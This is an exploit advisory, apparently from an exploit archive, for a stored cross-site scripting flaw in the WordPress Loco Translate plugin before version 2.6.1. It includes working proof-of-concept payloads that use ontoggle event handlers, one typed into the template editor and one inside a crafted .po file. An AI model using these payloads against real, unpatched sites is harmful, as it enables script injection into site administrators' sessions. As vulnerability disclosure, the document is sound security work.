WordPress Loco Translate Cross Site Scripting

WordPress Loco Translate plugin versions prior to 2.6.1 suffer from a persistent cross site scripting vulnerability.

MD5 | 8541f96e410296c26621f35e9a281d91

WordPress Plugin Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting


Taurus Omar

The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability.

Affects Plugins:
loco-translate - Fixed in version 2.6.1

Proof of Concept:
## POC1: via (edit-template)

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options
3.) Enter Edit Template Any Plugin
4.) Add New Message
5.) Edit Message
6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('xss')>
7.) Save
8.) Replicated

## POC2 via (example.po)

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options Any Plugin
3.) Upload PO options
3.) Load example.po


msgid ""
msgstr ""
"Project-Id-Version: xss-tester\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2022-02-25 03:48+0000\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: \n"
"Language: \n"
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Loco https://localise.biz/\n"
"X-Loco-Version: 2.5.8; wp-5.9.1\n"
"X-Domain: xss-tester"
msgid "xss-tester"
msgstr ""
msgid "\">'><details/open/ontoggle=confirm('XSS')>"
msgstr ""

Type XSS
OWASP top 10 A7: Cross-Site Scripting (XSS)


Related Posts